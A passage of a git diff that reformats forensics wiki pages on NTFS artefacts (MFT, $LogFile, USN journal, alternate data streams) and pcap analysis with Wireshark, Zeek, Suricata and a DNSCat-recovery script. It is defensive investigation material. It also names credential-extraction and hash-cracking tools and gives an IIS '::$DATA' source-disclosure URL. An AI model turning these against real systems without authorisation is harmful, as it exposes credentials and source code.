table | $Mft | 0 | Contains one base file record for each file and folder on an NTFS volume. If the allocation information for a file or folder is too large to fit within a single record, other file records are allocated as well. | -| Master file table 2 | $MftMirr | 1 | A duplicate image of the first four records of the MFT. This file guarantees access to the MFT in case of a single-sector failure. | -| Log file | $LogFile | 2 | Contains a list of transaction steps used for NTFS recoverability. Log file size depends on the volume size and can be as large as 4 MB. It is used by Windows NT/2000 to restore consistency to NTFS after a system failure. | -| Volume | $Volume | 3 | Contains information about the volume, such as the volume label and the volume version. | -| Attribute definitions | $AttrDef | 4 | A table of attribute names, numbers, and descriptions. | -| Root file name index | $ | 5 | The root folder. | -| Cluster bitmap | $Bitmap | 6 | A representation of the volume showing which clusters are in use. | -| Boot sector | $Boot | 7 | Includes the BPB used to mount the volume and additional bootstrap loader code used if the volume is bootable. | -| Bad cluster file | $BadClus | 8 | Contains bad clusters for the volume. | -| Security file | $Secure | 9 | Contains unique security descriptors for all files within a volume. | -| Upcase table | $Upcase | 10 | Converts lowercase characters to matching Unicode uppercase characters. | -| NTFS extension file | $Extend | 11 | Used for various optional extensions such as quotas, reparse point data, and object identifiers. | -| | | 12-15 | Reserved for future use. | -| Quota management file | $Quota | 24 | Contains user assigned quota limits on the volume space. | -| Object Id file | $ObjId | 25 | Contains file object IDs. | -| Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume include reparse point data. | +| System File | File Name | MFT Record | Purpose of the File | +| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Master file table | $Mft | 0 | Contains one base file record for each file and folder on an NTFS volume. If the allocation information for a file or folder is too large to fit within a single record, other file records are allocated as well. | +| Master file table 2 | $MftMirr | 1 | A duplicate image of the first four records of the MFT. This file guarantees access to the MFT in case of a single-sector failure. | +| Log file | $LogFile | 2 | Contains a list of transaction steps used for NTFS recoverability. Log file size depends on the volume size and can be as large as 4 MB. It is used by Windows NT/2000 to restore consistency to NTFS after a system failure. | +| Volume | $Volume | 3 | Contains information about the volume, such as the volume label and the volume version. | +| Attribute definitions | $AttrDef | 4 | A table of attribute names, numbers, and descriptions. | +| Root file name index | $ | 5 | The root folder. | +| Cluster bitmap | $Bitmap | 6 | A representation of the volume showing which clusters are in use. | +| Boot sector | $Boot | 7 | Includes the BPB used to mount the volume and additional bootstrap loader code used if the volume is bootable. | +| Bad cluster file | $BadClus | 8 | Contains bad clusters for the volume. | +| Security file | $Secure | 9 | Contains unique security descriptors for all files within a volume. | +| Upcase table | $Upcase | 10 | Converts lowercase characters to matching Unicode uppercase characters. | +| NTFS extension file | $Extend | 11 | Used for various optional extensions such as quotas, reparse point data, and object identifiers. | +| | | 12-15 | Reserved for future use. | +| Quota management file | $Quota | 24 | Contains user assigned quota limits on the volume space. | +| Object Id file | $ObjId | 25 | Contains file object IDs. | +| Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume include reparse point data. | ### Each entry of the MFT looks like the following: -![](../../../.gitbook/assets/image%20%28483%29.png) +![](<../../../.gitbook/assets/image (499).png>) Note how each entry starts with "FILE". Each entry occupies 1024 bits. So after 1024 bit from the start of a MFT entry you will find the next one. Using the [**Active Disk Editor**](https://www.disk-editor.org/index.html) it's very easy to inspect the entry of a file in the MFT. Just right click on the file and then click "Inspect File Record" -![](../../../.gitbook/assets/image%20%28493%29.png) +![](<../../../.gitbook/assets/image (500).png>) -![](../../../.gitbook/assets/image%20%28482%29.png) +![](<../../../.gitbook/assets/image (501).png>) -Checking the **"In use**" flag it's very easy to know if a file was deleted \(a value of **0x0 means deleted**\). +Checking the **"In use**" flag it's very easy to know if a file was deleted (a value of **0x0 means deleted**). -![](../../../.gitbook/assets/image%20%28520%29.png) +![](<../../../.gitbook/assets/image (510).png>) It's also possible to recover deleted files using FTKImager: -![](../../../.gitbook/assets/image%20%28490%29.png) +![](<../../../.gitbook/assets/image (502).png>) ### MFT Attributes Each MFT entry has several attributes as the following image indicates: -![](../../../.gitbook/assets/image%20%28495%29.png) +![](<../../../.gitbook/assets/image (506).png>) Each attribute indicates some entry information identified by the type: -| Type Identifier | Name | Description | -| :--- | :--- | :--- | -| 16 | $STANDARD\_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | -| 32 | $ATTRIBUTE\_LIST | List where other attributes for file can be found. | -| 48 | $FILE\_NAME | File name, in Unicode, and the last accessed, written, and created times. | -| 64 | $VOLUME\_VERSION | Volume information. Exists only in version 1.2 \(Windows NT\). | -| 64 | $OBJECT\_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after \(Windows 2000+\). | -| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | -| 96 | $VOLUME\_NAME | Volume name. | -| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | -| 128 | $DATA | File contents. | -| 144 | $INDEX\_ROOT | Root node of an index tree. | -| 160 | $INDEX\_ALLOCATION | Nodes of an index tree rooted in $INDEX\_ROOT attribute. | -| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | -| 192 | $SYMBOLIC\_LINK | Soft link information. Exists only in version 1.2 \(Windows NT\). | -| 192 | $REPARSE\_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ \(Windows 2000+\). | -| 208 | $EA\_INFORMATION | Used for backward compatibility with OS/2 applications \(HPFS\). | -| 224 | $EA | Used for backward compatibility with OS/2 applications \(HPFS\). | -| 256 | $LOGGED\_UTILITY\_STREAM | Contains keys and information about encrypted attributes in version 3.0+ \(Windows 2000+\). | +| Type Identifier | Name | Description | +| --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------- | +| 16 | $STANDARD_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | +| 32 | $ATTRIBUTE_LIST | List where other attributes for file can be found. | +| 48 | $FILE_NAME | File name, in Unicode, and the last accessed, written, and created times. | +| 64 | $VOLUME_VERSION | Volume information. Exists only in version 1.2 (Windows NT). | +| 64 | $OBJECT_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after (Windows 2000+). | +| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | +| 96 | $VOLUME_NAME | Volume name. | +| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | +| 128 | $DATA | File contents. | +| 144 | $INDEX_ROOT | Root node of an index tree. | +| 160 | $INDEX_ALLOCATION | Nodes of an index tree rooted in $INDEX_ROOT attribute. | +| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | +| 192 | $SYMBOLIC_LINK | Soft link information. Exists only in version 1.2 (Windows NT). | +| 192 | $REPARSE_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ (Windows 2000+). | +| 208 | $EA_INFORMATION | Used for backward compatibility with OS/2 applications (HPFS). | +| 224 | $EA | Used for backward compatibility with OS/2 applications (HPFS). | +| 256 | $LOGGED_UTILITY_STREAM | Contains keys and information about encrypted attributes in version 3.0+ (Windows 2000+). | -For example the **type 48 \(0x30\)** identifies the **file name**: +For example the **type 48 (0x30)** identifies the** file name**: -![](../../../.gitbook/assets/image%20%28515%29.png) +![](<../../../.gitbook/assets/image (508).png>) -It is also useful to understand that **these attributes can be resident** \(meaning, they exist within a given MFT record\) or **nonresident** \(meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record\). For example, if the attribute **$Data is resident**, these means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in other part of the file system. +It is also useful to understand that** these attributes can be resident** (meaning, they exist within a given MFT record) or **nonresident** (meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record). For example, if the attribute **$Data is resident**, these means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in other part of the file system. Some interesting attributes: -* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard_information.html) \(among others\): +* [$STANDARD_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard_information.html) (among others): * Creation date * Modification date * Access date * MFT update date * DOS File permissions -* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file_name.html) \(among others\): +* [$FILE_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file_name.html) (among others): * File name * Creation date * Modification date @@ -131,91 +131,90 @@ Some interesting attributes: * Allocated size * Real size * [File reference](https://flatcap.org/linux-ntfs/ntfs/concepts/file_reference.html) to the parent directory. -* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) \(among others\): +* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): * Contains the file's data or the indication of the sectors where the data resides. In the following example the attribute data is not resident so the attribute gives information about the sectors where the data resides. -![](../../../.gitbook/assets/image%20%28507%29%20%281%29%20%281%29.png) +![](<../../../.gitbook/assets/image (507) (1).png>) -![](../../../.gitbook/assets/image%20%28512%29.png) +![](<../../../.gitbook/assets/image (509).png>) ### NTFS timestamps -![](../../../.gitbook/assets/image%20%28521%29.png) +![](<../../../.gitbook/assets/image (512).png>) -Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv) ****\(select the mft file or the image and press dump all and extract to extract al the objects\). +Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv)** **(select the mft file or the image and press dump all and extract to extract al the objects).\ This program will extract all the MFT data and present it in CSV format. It can also be used to dump the files. -![](../../../.gitbook/assets/image%20%28514%29.png) +![](<../../../.gitbook/assets/image (513).png>) ### $LOGFILE -The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**. +The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**.\ These logs are useful for the MFT to rebuild the file system in case some kind of error happened. The maximum file size of this file is **65536KB**. -In order to inspect the `$LOGFILE` you need to extract it and inspect the `$MFT` previously with [**MFT2csv**](https://github.com/jschicht/Mft2Csv). +In order to inspect the `$LOGFILE` you need to extract it and inspect the `$MFT` previously with [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\ Then run [**LogFileParser**](https://github.com/jschicht/LogFileParser) against this file and selecting the exported `$LOGFILE` file and the CVS of the inspection of the `$MFT` you will obtain a csv file with the logs of the file system activity recorded by the `$LOGFILE` log. -![](../../../.gitbook/assets/image%20%28519%29.png) +![](<../../../.gitbook/assets/image (515).png>) Filtering by filenames you can see **all the actions performed against a file**: -![](../../../.gitbook/assets/image%20%28513%29.png) +![](<../../../.gitbook/assets/image (514).png>) ### $USNJnrl -The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. +The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a** registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. To inspect this file you can use the tool [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv). Filtering by the filename it's possible to see **all the actions performed against a file**. Also you can find the `MFTReference` of the parent folder. Then, looking for that `MFTReference` you can find i**nformation of the parent folder.** -![](../../../.gitbook/assets/image%20%28517%29.png) +![](<../../../.gitbook/assets/image (516).png>) ### $I30 Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. -You can get the `$I30` file of a directory from the **FTK Imager** and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). +You can get the `$I30` file of a directory from the **FTK Imager **and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). -![](../../../.gitbook/assets/image%20%28527%29.png) +![](<../../../.gitbook/assets/image (519).png>) -With this data you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. +With this data you can find** information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that** last modified date** of the **`$I30` file**, and if the** last action performed** over the directory is the **deletion** of a file, the times may be the same. ### $Bitmap -The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. +The **`$BitMap`** is a special file within the NTFS file system. This file keeps** track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. -![](../../../.gitbook/assets/image%20%28526%29.png) +![](<../../../.gitbook/assets/image (523).png>) -### ADS \(Alternate Data Stream\) +### ADS (Alternate Data Stream) -Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`. +Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ In this [page you can see different ways to create/access/discover alternate data streams](../../../windows/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past this cause a vulnerability in IIS as people was able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate_data_streams.html) you can search and export all the files with some ADS. -![](../../../.gitbook/assets/image%20%28528%29.png) +![](<../../../.gitbook/assets/image (518).png>) Using the FTK imager and double clicking in a file with ADS you can **access the ADS data**: -![](../../../.gitbook/assets/image%20%28529%29.png) +![](<../../../.gitbook/assets/image (517).png>) -If you find an ADS called **`Zone.Identifier`** \(see previous image\) this usually contains **information about how was the file downloaded**. There would be a "ZoneId" field with the following info: +If you find an ADS called **`Zone.Identifier`** (see previous image) this usually contains** information about how was the file downloaded**. There would be a "ZoneId" field with the following info: -* Zone ID = 0 -> Mycomputer -* Zone ID = 1 -> Intranet -* Zone ID = 2 -> Trusted -* Zone ID = 3 -> Internet -* Zone ID = 4 -> Unstrusted +* Zone ID = 0 -> Mycomputer +* Zone ID = 1 -> Intranet +* Zone ID = 2 -> Trusted +* Zone ID = 3 -> Internet +* Zone ID = 4 -> Unstrusted Moreover, different software may store additional information: -| Software | Info | -| :--- | :--- | -| Google Chrome, Opera, Vivaldi, | ZoneId=3, ReferrerUrl, HostUrl | -| Microsoft Edge | ZoneId=3, LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe | -| Firefox, Tor browser, Outlook2016, Thunderbird, Windows Mail, Skype | ZoneId=3 | -| μTorrent | ZoneId=3, HostUrl=about:internet | - +| Software | Info | +| ------------------------------------------------------------------- | ---------------------------------------------------------------------------- | +| Google Chrome, Opera, Vivaldi, | ZoneId=3, ReferrerUrl, HostUrl | +| Microsoft Edge | ZoneId=3, LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe | +| Firefox, Tor browser, Outlook2016, Thunderbird, Windows Mail, Skype | ZoneId=3 | +| μTorrent | ZoneId=3, HostUrl=about:internet | diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index dc35685b..b9ba7db8 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -6,9 +6,9 @@ A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file for ## Online tools for pcaps -* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)\*\*\*\* -* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com/)\*\*\*\* -* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com/) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com/)\*\*\*\* +* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)**** +* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)**** +* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)**** ## Extract Information @@ -22,11 +22,13 @@ The following tools are useful to extract statistic, files... You can find some Wireshark trick in: -{% page-ref page="wireshark-tricks.md" %} +{% content-ref url="wireshark-tricks.md" %} +[wireshark-tricks.md](wireshark-tricks.md) +{% endcontent-ref %} ### Xplico Framework -\*\*\*\*[**Xplico** ](https://github.com/xplico/xplico)_\(only linux\)_ ****can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email \(POP, IMAP, and SMTP protocols\), all HTTP contents, each VoIP call \(SIP\), FTP, TFTP, and so on. +****[**Xplico **](https://github.com/xplico/xplico)_(only linux)_** **can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. #### Install @@ -39,39 +41,39 @@ sudo apt-get install xplico #### Run -```text +``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ +Access to _**127.0.0.1:9876 **_with credentials _**xplico:xplico**_ Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**. +Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download **[**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening there in a **quick** way. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **\(It works in Windows\)**. +You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)** (It works in Windows)**.\ This is another useful tool that **analyse the packets** and sort the information in a useful way to **know what is happening inside**. -![](../../../.gitbook/assets/image%20%28567%29%20%281%29%20%281%29.png) +![](<../../../.gitbook/assets/image (567) (1) (1).png>) ### [BruteShark](https://github.com/odedshimon/BruteShark) -* Extracting and encoding usernames and passwords \(HTTP, FTP, Telnet, IMAP, SMTP...\) -* Extract authentication hashes and crack them using Hashcat \(Kerberos, NTLM, CRAM-MD5, HTTP-Digest...\) -* Build visual network diagram \(Network nodes & users\) +* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) +* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +* Build visual network diagram (Network nodes & users) * Extract DNS queries * Reconstruct all TCP & UDP Sessions * File Carving ### Capinfos -```text +``` capinfos capture.pcap ``` @@ -87,7 +89,9 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192. Using common carving techniques can be useful to extract files and information from the pcap: -{% page-ref page="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} +{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} +[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) +{% endcontent-ref %} ### Capturing credentials @@ -99,7 +103,7 @@ You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgan #### Install and setup -```text +``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf @@ -108,13 +112,13 @@ oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules #### Check pcap -```text +``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` ### YaraPcap -\*\*\*\*[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +****[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that * Reads a PCAP File and Extracts Http Streams. * gzip deflates any compressed streams @@ -126,13 +130,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log Check if you can find any fingerprint of a known malware: -{% page-ref page="../malware-analysis.md" %} +{% content-ref url="../malware-analysis.md" %} +[malware-analysis.md](../malware-analysis.md) +{% endcontent-ref %} ## Zeek -> Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor \(NSM\) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information **about the pcaps are. ### Connections Info @@ -210,11 +216,15 @@ rita show-exploded-dns -H --limit 10 zeek_logs ## Other pcap analysis tricks -{% page-ref page="dnscat-exfiltration.md" %} - -{% page-ref page="wifi-pcap-analysis.md" %} - -{% page-ref page="usb-keystrokes.md" %} +{% content-ref url="dnscat-exfiltration.md" %} +[dnscat-exfiltration.md](dnscat-exfiltration.md) +{% endcontent-ref %} +{% content-ref url="wifi-pcap-analysis.md" %} +[wifi-pcap-analysis.md](wifi-pcap-analysis.md) +{% endcontent-ref %} +{% content-ref url="usb-keystrokes.md" %} +[usb-keystrokes.md](usb-keystrokes.md) +{% endcontent-ref %} diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 6b30aa54..df6aa790 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,8 +1,8 @@ # DNSCat pcap analysis -If you have pcap with data being **exfiltrated by DNSCat** \(without using encryption\), you can find the exfiltrated content. +If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. -You only need to know that the **first 9 bytes** are not real data but are related to the **C&C communication**: +You only need to know that the **first 9 bytes** are not real data but are related to the** C\&C communication**: ```python from scapy.all import rdpcap, DNSQR, DNSRR @@ -23,6 +23,5 @@ for p in rdpcap('ch21.pcap'): #print(f) ``` -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap) +For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 7202c53c..27731d80 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,7 +2,7 @@ If you have a pcap containing the communication via USB of a keyboard like the following one: -![](../../../.gitbook/assets/image%20%28567%29.png) +![](<../../../.gitbook/assets/image (613).png>) You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: @@ -16,5 +16,4 @@ python3 usbkeyboard.py ./keystrokes.txt You can read more information and find some scripts about how to analyse this in: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - +* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 12090a34..076286bd 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -2,11 +2,11 @@ ## Check BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: -![](../../../.gitbook/assets/image%20%28426%29.png) +![](<../../../.gitbook/assets/image (424).png>) -![](../../../.gitbook/assets/image%20%28429%29.png) +![](<../../../.gitbook/assets/image (425).png>) ### Brute Force @@ -26,17 +26,15 @@ The following link will be useful to find the **machines sending data inside a W * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +If you already know **MAC addresses you can remove them from the output **adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Once you have detected **unknown MAC **addresses communicating inside the network you can use **filters **like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. ## Decrypt Traffic -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit - -![](../../../.gitbook/assets/image%20%28427%29.png) - +Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +![](<../../../.gitbook/assets/image (426).png>) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 3b3c7971..6f3e5a00 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -15,50 +15,50 @@ The following tutorials are amazing to learn some cool basic tricks: #### Expert Information -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analised**: +Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analised**: -![](../../../.gitbook/assets/image%20%28571%29.png) +![](<../../../.gitbook/assets/image (570).png>) #### Resolved Addresses -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, mac to manufacturer... +Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, mac to manufacturer...\ This is interesting to know what is implicated in the communication. -![](../../../.gitbook/assets/image%20%28574%29.png) +![](<../../../.gitbook/assets/image (571).png>) #### Protocol Hierarchy -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. -![](../../../.gitbook/assets/image%20%28576%29.png) +![](<../../../.gitbook/assets/image (572).png>) #### Conversations -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Under _**Statistics --> Conversations **_you can find a **summary of the conversations** in the communication and data about them. -![](../../../.gitbook/assets/image%20%28572%29.png) +![](<../../../.gitbook/assets/image (573).png>) #### **Endpoints** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Under _**Statistics --> Endpoints **_you can find a **summary of the endpoints** in the communication and data about each of them. -![](../../../.gitbook/assets/image%20%28575%29.png) +![](<../../../.gitbook/assets/image (575).png>) #### DNS info -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Under _**Statistics --> DNS **_you can find statistics about the DNS request captured. -![](../../../.gitbook/assets/image%20%28577%29.png) +![](<../../../.gitbook/assets/image (577).png>) #### I/O Graph -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Under _**Statistics --> I/O Graph **_you can find a **graph of the communication.** -![](../../../.gitbook/assets/image%20%28573%29.png) +![](<../../../.gitbook/assets/image (574).png>) ### Filters -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/) +Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ Other interesting filters: * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` @@ -70,20 +70,20 @@ Other interesting filters: ### Search -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_ -You can add new layers to the main information bar _\(No., Time, Source...\)_ pressing _right bottom_ and _Edit Column_ +If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_\ +__You can add new layers to the main information bar_ (No., Time, Source...) _pressing _right bottom _and _Edit Column_ -Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net/) +Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) ## Identifying Domains You can add a column that 